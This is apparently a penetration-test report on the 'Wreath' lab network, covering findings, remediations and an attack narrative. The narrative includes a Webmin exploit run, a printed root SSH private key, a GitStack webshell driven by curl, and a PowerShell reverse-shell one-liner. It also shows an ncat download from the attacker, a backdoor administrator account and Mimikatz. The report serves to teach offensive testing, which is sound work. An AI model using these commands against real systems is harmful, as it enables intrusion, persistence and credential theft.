



Kairos CyberSecurity

PENETRATION TEST REPORT

Wreath Network

March, 2025

E. Astasio
www.kairoshack.com
Email: kairosdev@protonmail.com

INDEX

[EXECUTIVE SUMMARY](#)

[TIMELINE](#)

[FINDINGS AND REMEDIATIONS](#)

[ATTACK NARRATIVE](#)

[Nmap scan](#)

[Web Server](#)

[Webmin](#)

[Run the exploit](#)

[Shell](#)

[Stabilize the reverse shell](#)

[Consistent access to the root user account](#)

[Scan the internal network](#)

[Scan local network](#)

[VPN with sshuttle to reach the internal network](#)

[Git-Serv \(10.200.85.150\)](#)

[Visit the webpage of git-serv](#)

[Searching for public exploit](#)

[Executing command on server](#)

[Can the target connect to the outside world?](#)

[Firewall](#)

[Exploitation \(Relay through the web server\)](#)

[Netcat](#)

[Powershell reverse shell](#)

[Post Exploitation](#)

[Mimikatz](#)

[Cracking Thomas' hash](#)

[Evil-winrm built-in pass-the-hash](#)

[Local repository git](#)

[Website Code Analysis](#)

[wreath-pc \(10.200.85.100\)](#)

[Enumeration](#)

[Pivoting](#)

[Chisel](#)

[Foxproxy](#)

[Website of wreath-pc](#)

[Exploit PoC](#)

[Exploitation of file-upload image](#)

[Creating a payload](#)

[Obfuscating the payload](#)

[Uploading the payload](#)

[Getting a webshell](#)

[Reverse Shell](#)

[Post-exploitation](#)

[Unquoted service path vulnerability](#)

[Privilege escalation](#)

[Wrapper.exe](#)

[Activate the exploit](#)

[Exfiltration](#)

[Dumping the hashes](#)

[CLEANUP](#)

[CONCLUSION](#)

[REFERENCES](#)

[Vulnerabilities](#)

[Technologies](#)

[APPENDIX A](#)

[Modified Git Stack 2.3.10 RCE Exploit Code](#)

[Wrapper.cs](#)

EXECUTIVE SUMMARY

Kairos Cybersecurity was contacted by Thomas (Mr. Thomas Wreath) for a penetration test in order to identify security issues within their infrastructure. This penetration test is in the interest of Mr. Thomas Wreath, as part of a restrained scope penetration test and risk assessment.

The Report Overview section contains an outlined summary of Kairos Cybersecurity's findings, including:

- Recommendations for improving Mr. Thomas Wreath's security.
- Mitigating potential business risk.
- Reducing the attack surface.

The Technical Findings section expands upon the report overview by including each discovered vulnerability's evaluated risk, exploitation details, and recommended remediation steps.

Thomas has sent over the following information about the network:

There are two machines on my home network that host projects and stuff I'm working on in my own time -- one of them has a webserver that's port forwarded, so that's your way in if you can find a vulnerability!

- *It's serving a website that's pushed to my git server from my own PC for version control, then cloned to the public facing server. See if you can get into these!*
- *My own PC is also on that network, but I doubt you'll be able to get into that as it has protections turned on, doesn't run anything vulnerable, and can't be accessed by the public-facing section of the network. Well, I say PC -- it's technically a repurposed server because I had a spare license lying around, but same difference.*

From this we can take away the following pieces of information:

- There are three machines on the network.
- There is at least one public facing web server.
- There is a self-hosted git server somewhere on the network.
- The git server is internal, so Thomas may have pushed sensitive information into it.
- There is a PC running on the network that has antivirus installed, meaning we can hazard a guess that this is likely to be Windows.
- By the sounds of it this is likely to be the server variant of Windows, which might work in our favour.
- The (assumed) Windows PC cannot be accessed directly from the web server.

Therefore, a gray box penetration test was performed. The attack was simulated with the following goals:

- Identify any vulnerabilities and misconfigurations in the network.
- Determine which assets could be compromised from the standpoint of an external attacker.

In the end of the penetration test the network was completely compromised. **An attacker would have complete Administrative access to every machine on the network.**

TIMELINE

The penetration test was conducted with extreme care to ensure actions were contained within the defined scope. Additionally, because the engagement was within a production environment, the team ensured that no services were disrupted. Kairos Cybersecurity did not exfiltrate, modify, or delete any data not included in this report.

DATE	EVENT
02/15/2025	Engagement Start
02/15/2025	Root access to PROD-SERV
02/16/2025	System access to GIT-SERV
02/17/2025	Initial access to WREATH-PC as THOMAS
02/17/2025	SYSTEM access to WREATH-PC
02/18/2025	Data Exfiltration
02/18/2025	Cleanup
02/19/2025	Engagement End

FINDINGS AND REMEDIATIONS

CVE-2019-15107(Webmin RCE)	
Description	An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.
Impact	9.8 CRITICAL
Recommendation	Apply updates per vendor instructions.
System	10.200.84.200
References	https://nvd.nist.gov/vuln/detail/CVE-2019-15107

GitStack 2.3.10 RCE	
Description	An issue was discovered in GitStack through 2.3.10. User controlled input is not sufficiently filtered, allowing an unauthenticated attacker to add a user to the server via the username and password fields to the rest/user/ URI.
Impact	9.8 CRITICAL
Recommendation	Update GitStack
System	10.200.84.150
References	https://www.cvedetails.com/cve/CVE-2018-5955/ https://www.exploit-db.com/exploits/43777

Unrestricted file upload	
Description	The new web appwhichispushed to the Gitrepository contains an arbitraryfile upload vulnerability.Thisvulnerabilitycan beexploited by anattacker torun arbitrary commandson the systemwith the rights of the web server.
Impact	CRITICAL
Recommendation	Harden the filter.
System	10.200.84.100
References	https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload


Unquoted Service Path	
Description	The service path for service "System Explorer" is not quoted. This allows an attacker to escalate privileges.
Impact	CRITICAL
Recommendation	Add a quote to the path.
System	10.200.84.100
References	https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae

Password Policy	
Description	During the assessment Thomas' password could be successfully cracked.
Impact	HIGH
Recommendation	Use more complex passwords. It is also recommended to use password managers.
System	10.200.84.100, 10.200.84.150
References	Password_strength">https://en.wikipedia.org/wiki>Password_strength https://keepassxc.org/ https://bitwarden.com/

GitStack running as SYSTEM	
Description	The GitStack service running on the Git Server is running as a SYSTEM user. Successful exploitation of the service will give the attacker instant SYSTEM privileges.
Impact	MEDIUM
Recommendation	Run GitStack with a less privileged account.
System	10.200.84.150

SSH Key not protected by passphrase	
Description	The SSHprivate key of the root user on machine 10.200.84.200 is not protected by a passphrase.
Impact	MEDIUM
Recommendation	Generate SSH keys with a secure and complex passphrase.
System	10.200.84.200
References	https://linux.die.net/man/1/ssh-keygen

Contact information on website	
Description	The website contains contact information that can be easily picked up by crawlers. Spammer cans harvest this information for spam and phishing.
Impact	LOW
Recommendation	Change the email and phone numbers, so it cannot be easily parsed anymore.
System	10.200.84.200
References	https://linux.die.net/man/1/ssh-keygen



ATTACK NARRATIVE

At the starting point we know there are 3 machines on Thomas' Network.

NAME	IP ADDRESS	PUBLIC FACING
prod-serv	10.200.84.200	Yes
git-serv	10.200.84.150	No
wreath-pc	10.200.84.100	No




Figure 1

Nmap scan

Let's scan the "prod-serv" server.

```
sudo nmap -sS -sC -sV -O -A 10.200.84.200
```

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-23 14:40 EST
Nmap scan report for thomaswreath.thm (10.200.84.200)
Host is up (0.052s latency).
Not shown: 958 filtered tcp ports (no-response), 37 filtered tcp ports (admin
-prohibited)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 9c:1b:d4:b4:05:4d:88:99:ce:09:1f:c1:15:6a:d4:7e (RSA)
|   256 93:55:b4:d9:8b:70:ae:e8:95:0d:c2:b6:d2:03:89:a4 (ECDSA)
|_  256 f0:61:5a:55:34:9b:b7:b8:3a:46:ca:7d:9f:dc:fa:12 (ED25519)
80/tcp    open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
443/tcp   open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1c
|_http-title: Thomas Wreath | Developer
| http-methods:
|_ Potentially risky methods: TRACE
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=thomaswreath.thm/organizationName=Thomas Wreath Development/stateOrProvinceName=East Riding Yorkshire/countryName=GB
| Not valid before: 2024-12-23T18:59:39
|_Not valid after:  2025-12-23T18:59:39
9090/tcp  closed zeus-admin
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: HP P2000 G3 NAS device (89%), Linux 2.6.32 (88%), Linux 5.0 (88%), Linux 5.0 - 5.4 (88%), Linux 5.1 (88%), Ubiquiti AirOS 5.5.9 (88%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (88%), Linux 2.6.32 - 3.13 (88%), Linux 2.6.39 (88%), Linux 2.6.32 - 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 9090/tcp)
HOP RTT      ADDRESS
1  55.24 ms  10.50.85.1
2  55.33 ms  thomaswreath.thm (10.200.84.200)
```

Figure 2

This scan revealed:

- **4 ports** are open on the host.
- **SSH** was running on port **22**.
- A **web server** was running on port **80** and **443..**
- **Webmin** was running on port **10000**.
- The domain name "**thomaswreath.thm**" could be acquired.
- The web server also leaked the operating system: **CentOS**.

Web Server

The web server on port 80 just redirected to <https://thomaswreath.thm>. The landing page revealed it's Mr. Thomas Wreaths' personal website.




Figure 3 Landing Page




Figure 4 Contact

Webmin

MiniServ 1.890 (webmin httpd).

According to its authors, *MiniServ is: a web-based interface for system administration for Unix. Using any modern web browser, you can set up user accounts, Apache, DNS, file sharing, and much more.*

On port 10000, Webmin version 1.890 was running. This version of Webmin contains a command injection flaw which can be used by an unauthenticated attacker to run arbitrary commands on the victim. This vulnerability is described in CVE-2019-15107.

To exploit this vulnerability code from the Github repository <https://github.com/MuirlandOracle/CVE-2019-15107> was used.

Run the exploit

After cloning the github repository on the attacking machine, we run the exploit against the target!

```
./CVE-2019-15107.py 10.200.84.200
```

```
[@] Server is running in SSL mode. Switching to HTTPS
[+] Connected to https://10.200.72.200:10000/ successfully.
[+] Server version (1.890) should be vulnerable!
[+] Benign Payload executed!

[+] The target is vulnerable and a pseudoshell has been obtained.
Type commands to have them executed on the target.
[*] Type 'exit' to exit.
[*] Type 'shell' to obtain a full reverse shell (UNIX only).

#
```

Figure 5 Exploiting a command injection vulnerability in Webmin

We run the following command to get the user.

```
#whoami
root
```

By running the exploit, we were able to obtain a root shell.

Shell

We typed `shell` and introduced the ATTACKING MACHINE IP and a port.

```
[*] Starting the reverse shell process
[*] For UNIX targets only!
[*] Use 'exit' to return to the pseudoshell at any time
Please enter the IP address for the shell: 10.50.85.33
Please enter the port number for the shell: 443

[*] Start a netcat listener in a new window (sudonc -lvp 443) then press enter
.'
```

Figure 6 Reverse Shell

Then we opened a `netcat` connection on the Attacking Machine.

```
nc -lvp <port>
```

Stabilize the reverse shell

Optional: Stabilise the reverse shell. Stabilizing a **reverse shell** is crucial for maintaining a reliable connection and improving usability.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
```

Consistent access to the root user account

We could've got root's password hash with "cat /etc/shadow", but we won't be able to crack the root password hash, but we might be able to find a certain file that will give us consistent access to the root user account through one of the other services on the box.

One of the services on the machine is SSH.

The SSH (Secure Shell) service is a network protocol that allows secure remote login and command execution over an encrypted connection. It is widely used to manage Linux/Unix systems remotely.

Key Features of SSH

1. Encryption: All data transmitted between the client and server is encrypted.
2. Authentication:
 - a. Password-based authentication.
 - b. Key-based authentication using SSH keys.
3. Port Forwarding: Securely forward ports over an SSH connection.
4. File Transfer: Tools like `scp` and `sftp` are built on SSH for secure file transfer.
5. Tunneling: Encrypt network traffic for other applications (e.g., SOCKS proxy).

SSH Key Files Overview

When you generate an SSH key pair, two files are created:

1. `id_rsa`: The private key (keep this secure and never share it).
2. `id_rsa.pub`: The public key (this can be shared and placed on the remote server).

These files are usually stored in the `~/.ssh/` directory on your Linux machine.

On the Reverse Shell:

Download the key (copying and pasting it to a file on your own Attacking Machine), then use the command `chmod 600 KEY_NAME` (substituting in the name of the key) to obtain persistent access to the box.

```
[root@prod-serv .ssh]# pwd
/root/.ssh
[root@prod-serv .ssh]# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABg5vbmuUAAAEBm9uZQAAAAAAAAAAblwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs0hYlnFUHTlbuhePTNoITku40B80xzRN803tMrphqNH3LHaQRE
LgAe9qk9dvQAt7pJb9V6vfc+Vm6XzL1JY9Ljou89C4dAcTJ90ruYZXTDnX0hW1v0D01bS
jkDfDifopr037/YkDKxPFqdIYwOUkzA60qzkMHy7n3kLhab7gkV65wHdIwI/v+SKxLveeg
0+L12BkcSYzVyUfE6Yxx3BwJSu8PIzLO/XUXXs0GuRrn0dG3XSFdbyiehGQlRIGEMzx
hdhWQRry2HMe7A5dmW/4ag8o+NohBqygPlrxFkdQMg6rLf8yoraW4mbv7rA7/TiWB16jR
fqFzgeL6W0hRAVvQzsPctAK+ZgyGyWXA4qR4VIEWnYnUHjaosPSLn+o8Q6qtNeZUMeVwzK
H9rjFG3tnjfZYvHO66dypaRAF4GfchQusibhJE+vLknKNpZ3CtgQsdfa600du++c1M++Zj
z14Djom9/CWDpvnSjRRVTU1Q7w/1MniSHZMjczIrAAAFiMFOUcXHzlHFAAAAB3NzaC1yc2
EAAGBALNKB2JZxVB05W7oxj0zaCE5Lu0gR/Dsc0ffDt7TK6R6jR9yx2ERC4AHvappPx0
A06SW/Ver3y3PlZulywtSWPS46LvPQneAHEyfTq7mGV0w519IVtbzuQ6NW0o5awyH6Kazt
+/2JAsTxansGftFJMwOtks5DB8u595C4Wm+4JFeucB3SMCP7/Pk1l5VXnoNPi9dgZHEmM
1cLVhxOnWMcdwCurvDyMyzv11F17DhrkUZ6NRt10hXW8onoRkJUSBhDM8YXYVxEa8th5
ThuwOXZlv+GoPKPj0ToQas0d8RSnUDI0qy3/Mqk2luJm206W/04lgYu0oX6hc4Hi+lTI
UQL70M7D3LQcvnRshFl2uKkefSBFp2J1B4wKL0i5/qPE0qrTxmVDHlcMyh/a4xRt7Z43
2WLxzuuncqWkQBeBn3IULrIm+SRPr5SpyjaWdrYELHZGuqDnbvvNTPvmY89eAyaJvfwl
g6b50o0UVU1NU08P9TJ4kh2TI3MyKwAAAAMBAEEAAAGAcLPPcn617z6cXxyI6PXgtknI8y
lpb8RjLvt7+bQnxvFwhTCyn7Er3rLxkAlDuKrl2a/kb3EmKRj9lcs hm0tZ6FQ2sKC3yoD
oyS23e3A/b3pnZ1kE5bhtkv0+7qhqbz2D/Q6qSJi0zpaeXMIPWL0GgwRNZdOy2dv+4V9o4
8o0/g4JFR/xz6kBQ+UKnzGbjrdXRJUF9wjbePSDFPCl7AQUJEwnd0hRfrHYtjEd0L8eeE
egYl556LDvmDRM+mkCNvI499+evGwsgh641MKkJwfV6/i0xBQnGyB9vhGVAKYxbIPjrbJ
r7rg3UXvw0f1KVbcjaPh109fQoQlsNlcLLYTp1gJaZEx5bC5jrMrU85BYSUP+w=EUyMbz
TNy0be3g7bzoorxjme5ujvLkq7IhmpZ9nVXYDS029+t2JU565CrV4M69qvA9L6ktyta51
bA4Rr/l9f+dFnZMrKu0qpyrfXSSZwnKxz22PLBuXiTxvCRuZBbZAgmwqtpfh9lsKp5AAA
wbMyQsq6e7CHLzMF1eeG254QptEXOAJ6igQ4deCgZTfwhDSm9j7ByczVi1P1+BLH1pDCQ
viAX2kbC4VLQ9PNf1tX+L0vfZETRjbyR1649nuQt70u/9AedZMSuvXORewLlcPSMR9In7
ba70kEokZcE9GvviEHL3Um6tMF9LfbjzZgxwwX5g1dil8dT8mWuSBuRTb8VPv14SbbW
HHVCPsu0M82eS0y1tYy1Rb0sh9hzg7h0Cqc3gbB+sxbNW0gAAAMEA1pMhxKkjQJXXIRZV6
0w9EAU9a94dM/6sr80bt3/Rqkr9sbM003Ie5zP59KyHRbzQ1mBZYo+PKVKPE02DBM3yBZ
r2u7j326Y4IntQn3pB3nQMQt91jzbSd51sxtnqQQM8cR8le4UPNA0FN9JbssWGxpQKnnv
m9kI975gZ/vbG0PZ7WvIs2sUrKg++iBZQmYVs+bj5f0cyH07EST414J2I54t9v1DerAcZ
DzwEybkM7/kXMgDKM1p2cdBMP+VpVAAAAbQDV5v0L5wWZPlzgd54vK8BfN5o5gIuhW0kB
2I2RDhVCoyyFH0T40qplasVrpjwWp0d+0rVDT8I6rz55/VJ800Yu0QzumEME9rzNyBS1Tw
YlXRN11U6IKYQMTQgXDCzTx+Kfp8WlHV9NE2g3tHwagVTgIzmNA7EPdENzuxsXFwFH9TY
EsdTnTzceDBI6uBFoTQ1nIMnoyAxOSUC+Rb1TBBSwns/r4AJuA/d+cSp5U0jbfoR0R/8by
GbJ7oAQ232an8AAAACrm9vdEB0bS1wcm9kLXNlcnyBAG=
-----END OPENSSH PRIVATE KEY-----
```

Figure 7 Reading SSH private key of root




Figure 8 Stage of compromise

Scan the internal network

We have access to the prov-serv server via SSH, but we don't know whether there are more machines on the internal network or not.

We upload a static *Nmap* executable to the "tmp" directory of the prod-server. Then we scan the network with *nmap*.

```
[root@prod-serv tmp]# ./nmap-KAIROS -sn 10.200.84.1/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-03-06 20:00 GMT
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-10-200-84-1.eu-west-1.compute.internal (10.200.84.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00074s latency).
MAC Address: 02:F3:70:5F:3A:E7 (Unknown)
Nmap scan report for ip-10-200-84-100.eu-west-1.compute.internal (10.200.84.100)
Host is up (-0.087s latency).
MAC Address: 02:33:CF:D2:02:79 (Unknown)
Nmap scan report for ip-10-200-84-150.eu-west-1.compute.internal (10.200.84.150)
Host is up (0.00050s latency).
MAC Address: 02:00:EB:86:5D:B5 (Unknown)
Nmap scan report for ip-10-200-84-250.eu-west-1.compute.internal (10.200.84.250)
Host is up (0.000073s latency).
MAC Address: 02:9C:9D:AF:36:F5 (Unknown)
Nmap scan report for ip-10-200-84-200.eu-west-1.compute.internal (10.200.84.200)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 3.52 seconds
```

Figure 9 Scanning internal network structure

After scanning the network, four other hosts could be identified. But only the hosts "10.200.84.100" and "10.200.84.150" were inside the scope of the penetration test.




Figure 10 Network structure from the attacker's view

At this point the attacker's view of the network can be best described in Figure 10.

Scan local network

We scan the two machines into the local network.

```
[root@prod-serv tmp]# ./nmap-KAIROS -oG Discovery_subnet 10.200.84.100 10.200.84.150
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-03-06 20:19 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-10-200-84-100.eu-west-1.compute.internal (10.200.84.100)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (-0.20s latency).
All 6150 scanned ports on ip-10-200-84-100.eu-west-1.compute.internal (10.200.84.100) are filtered
MAC Address: 02:33:CF:D2:02:79 (Unknown)

Nmap scan report for ip-10-200-84-150.eu-west-1.compute.internal (10.200.84.150)
Host is up (0.00081s latency).
Not shown: 6147 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsmans
MAC Address: 02:00:EB:86:5D:B5 (Unknown)

Nmap done: 2 IP addresses (2 hosts up) scanned in 130.47 seconds
```

Figure 11 nmap scan of the internal network from prod-serv reverse shell

- The host with the IP 10.200.84.100 has all ports closed.
- The host with the IP 10.200.84.150 has the ports 80, 3389 and 5985 opened.
- Based on the simple fingerprinting¹ that *Nmap* has done, we could assume that the host is running Windows.

¹ **ms-wbt-server** (Microsoft Windows-Based Terminal Server) refers to Remote Desktop Protocol (RDP), which runs on port 3389 by default. It is used for remote desktop connections to a Windows machine.

VPN with sshuttle to reach the internal network

Using *sshuttle* we can just directly connect to devices in the target network as we would normally connect to networked devices. As it creates a tunnel through SSH (the secure shell), anything we send through the tunnel is also encrypted, which is a nice bonus. We use *sshuttle* entirely on our attacking machine, in much the same way we would SSH into a remote server.

```
sshuttle -r root@10.200.84.200 --ssh-cmd "ssh -i id_rsa" 10.200.84.0/24 -x  
10.200.84.200
```

```
[kali㉿kali)-[~/TryHackMe/Wreath]  
$ sshuttle -r root@10.200.84.200 --ssh-cmd "ssh -i id_rsa" 10.200.84.0/24 -x 10.200.84.200  
[local sudo] Password:  
c : Connected to server.
```

Figure 12 *sshuttle* VPN

Git-Serv (10.200.85.150)

Visit the webpage of git-serv

The *sshuttle* tunnel allows access to the web page at 10.200.85.150 port 80, this webpage gives an error message with Django revealing the directory for a service.




Figure 13 Django error page

We visit <http://10.200.84.150/registration/login/> and find a logging in page.




Figure 14 page 10.200.85.150/registration/login

Searching for public exploit

- To be able to interact with the client “10.200.101.150”, an SSH tunnel was established. After that, the web page on port 80 could be inspected from the attacker machine.
- This server is running **Gitstack**.
- **Gitstack 2.3.10** contains a remote code execution vulnerability.
- The following Python script from Exploit-DB is used:
<https://www.exploit-db.com/exploits/43777>.

Modifications to this script are documented in [Appendix A](#). After executing the exploit, a web shell was uploaded to the victim. It was possible to interact with the system through the web shell with SYSTEM privileges.

Executing command on server

On the attacking machine we ran the **43777.py** file and we got a reverse shell.

```
(kali㉿kali)-[~/TryHackMe/Wreath]
└─$ ./43777.py
[+] Get user list
[+] Found user twright
[+] Web repository already enabled
[+] Get repositories list
[+] Found repository Website
[+] Add user to repository
[+] Disable access for anyone
[+] Create backdoor in PHP
Your GitStack credentials were not entered correctly. Please ask your GitStack
administrator to give you a username/password and give you access to this re
pository. <br />Note : You have to enter the credentials of a user which has
at least read access to your repository. Your GitStack administration panel u
sername/password will not work.
[+] Execute command
"nt authority\system"
"
```

Figure 15 running exploit

Not only did the exploit work perfectly, it gave us command execution as **NT AUTHORITY\SYSTEM**, the highest ranking local account on a Windows target.

The webshell we have uploaded responds to a POST request using the parameter ``a`` (by default). This means that we have two easy ways to access this. We could use *cURL* from the command line, or *BurpSuite* for a GUI option.

We rename **43777.py** to **exploit-KAIROS.php**.

We use *cURL*.

```
curl -X POST http://10.200.84.150/web/exploit-KAIROS.php -d "a=whoami"
```

nt authority\system

Figure 16 cURL POST response

By sending an HTTP POST request with a Content-Type header with value application/x-www-form-urlencoded and an entry **a=**, the PHP system function will execute the command associated with the **a** parameter.

As PoC we check the target for information.

```
curl -X POST http://10.200.84.150/web/exploit-KAIROS.php -d "a=systeminfo"
```

The results can be seen on Figure 17.

```
Host Name: GIT-SERV
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-70000-00000-AA159
Original Install Date: 08/11/2020, 13:19:49
System Boot Time: 22/12/2024, 19:25:21
System Manufacturer: Xen
```

Figure 17 Checking target information using command "a=systeminfo"

Can the target connect to the outside world?

Before we go for a reverse shell, we need to establish whether or not this target is allowed to connect to the outside world. The typical way of doing this is by executing the `ping` command on the compromised server to ping our own IP and using a network interceptor (Wireshark, TCPDump, etc) to see if the ICMP echo requests make it through. If they do then network connectivity is established, otherwise we may need to go back to the drawing board.

We open a *TCPDump* listener on the attacking machine.

```
tcpdump -i tun0 icmp
```

Now, using the webshell, execute the following ping command:

```
curl -X POST http://10.200.84.150/web/exploit-KAIROS.php -d "a=ping -n 3  
10.50.85.33"
```

```
Pinging 10.50.85.33 with 32 bytes of data:  
Request timed out.  
Request timed out.  
Request timed out.  
  
Ping statistics for 10.50.85.33:  
Packets: Sent = 3, Received = 0, Lost = 3 (100% loss)
```

Figure 18 ping command response

As you can see on Figure 18 there's no connection with the attacker machine.

Firewall

To be able to connect to the victim, we have to establish a tunnel between the victim and the attacker by using the external web server as relay.

Before we can do this, however, we need to take one other thing into account. CentOS uses an always-on wrapper around the IPTables firewall called "firewalld".

By default, this firewall is extremely restrictive, only allowing access to SSH and anything else the sysadmin has specified.

Before we can start capturing (or relaying) shells, we will need to open our desired port in the firewall. This can be done with the following command:

```
firewall-cmd --zone=public --add-port PORT/tcp
```

Substituting in your desired choice of port.

In this command we are using two switches.

1. We set the zone to public -- meaning that the rule will apply to every inbound connection to this port.
2. We then specify which port we want to open, along with the protocol we want to use (TCP).

We create a Firewall rule.

- We connect to the *prod-server* (10.200.84.200) via SSH.

```
ssh root@10.200.84.200 -i id_rsa
```

- Create a Firewall rule to allow connections through.

```
firewall-cmd --zone=public --add-port 23337/tcp`
```

With that done, set up either a listener or a relay on .200.

Exploitation (Relay through the web server)

Netcat

We get *ncat* binary from the attacker machine so as to get a reverse shell.

- We download *ncat* from <https://github.com/andrew-d/static-binaries.git>.

```
git clone https://github.com/andrew-d/static-binaries.git
```

- We open a Python Webserver on the attacking machine.

```
sudo python3 -m http.server 80
```

- On the Reverse Shell terminal we get the binary from the attacking machine:

```
root@prod-serv ~# curl 10.50.85.33/ncat -o /tmp/ncat-sv && chmod +x /tmp/ncat-sv
```

- We open a listener on the Reverse Shell.

```
root@prod-serv tmp# ./ncat-sv -nvlp 23337
```

```
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::23337
Ncat: Listening on 0.0.0.0:23337
```

Figure 19 netcat listener on the attacking machine

Powershell reverse shell

We can use a Powershell reverse shell for this. We take the following shell command and substitute in the IP of the web server, and the port we opened in the `200` firewall in the previous question where it says IP and PORT:

```
powershell.exe -c "$client = New-Object
System.Net.Sockets.TCPCClient('10.200.84.200',23337);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
+ '> '$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$se
ndbyte.Length);$stream.Flush()};$client.Close()"
```

We encode the shell command on <https://www.urlencoder.org/> and copy the result.




Figure 20 URL encoding

On the attacking machine run the following code:

```
curl -X POST http://10.200.84.150/web/exploit-KAIROS.php -d
"a=powershell.exe%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPCl
ient%28%2710.200.84.200%27%2C23337%29%3B%24stream%20%3D%20%24client.GetStream%28%29
%3B%5Bbyte%5B%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%2
0%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24d
ata%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%2
4bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%20%23E%261%20%7C%20
ut-String%20%29%3B%24sendback%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28p
wd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AA
SCII%29.GetBytes%28%24sendback%29%3B%24stream.WriteLine%28%24sendbyte%2C0%2C%24sendbyt
e.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22"
```

Command Explanation

1. `curl`: A command-line tool to send HTTP/HTTPS requests.
2. `-X POST`: Specifies the HTTP method (`POST`), typically used to send data to a server.
3. `http://10.200.84.150/web/exploit-KAIROS.php`: The URL of the server's endpoint, specifically targeting the script `exploit-KAIROS.php` in the `/web/` directory on the host `10.200.84.150`.
4. `-d`: Indicates the **data payload** being sent with the request. The actual data to send would follow this flag.

On the *netcat* Reverse Shell you can see we are connected.

```
Ncat: Connection from 10.200.84.150.
Ncat: Connection from 10.200.84.150:49918.
```

Figure 21 netcat reverse shell

We got remote command execution running with the highest permissions possible on a local Windows machine 10.200.84.150, which means that we do not need to escalate privileges on this target.

At this point the extent of the compromise can be seen on Figure 22.




Figure 22 Stage of compromise

Post Exploitation

From the enumeration we did on this target we know that ports 3389 and 5985 are open. This means that (using an account with the correct privileges) we should be able to obtain either a GUI through **RDP** (port 3389) or a stable CLI shell using **WinRM** (port 5985).

To ensure persistent access to the machine, we create an **Administrator** user in the **Remote Management Users** group.

```
PS C:\GitStack\gitphp> net user Kairos k41ros /add
PS C:\GitStack\gitphp> net localgroup Administrators Kairos /add
PS C:\GitStack\gitphp> net localgroup "Remote Management Users" Kairos /add
PS C:\GitStack\gitphp> net user Kairos
```

User name	Kairos
Full Name	
Comment	
User's comment	
Country/region code	000 (System Default)
Account active	Yes
Account expires	Never
Password last set	31/12/2024 19:53:43
Password expires	Never
Password changeable	31/12/2024 19:53:43
Password required	Yes
User may change password	Yes
Workstations allowed	All
Logon script	
User profile	
Home directory	
Last logon	Never
Logon hours allowed	All
Local Group Memberships	*Administrators *Remote Management Use
Global Group memberships	*None
The command completed successfully.	

Figure 23 New user's account on git-server

To make sure the account is right we run the following command on the attacking machine:

```
evil-winrm -u Kairos -p k41ros -i 10.200.84.150
```

```
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_
detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackp
layers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Kairos\Documents>
```

Figure 24 Evil-winrm shell

Mimikatz

We authenticate with RDP, sharing a local copy of Mimikatz, then dump the password hashes for the users in the system.

On the attacking machine

```
xfreerdp /v:10.200.90.150 /u:Kairos /p:k41ros +clipboard
/dynamic-resolution /drive:/usr/share/windows-resources,share
```

On Windows Command

```
\tsclient\share\mimikatz\x64\mimikatz.exe
```

```
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
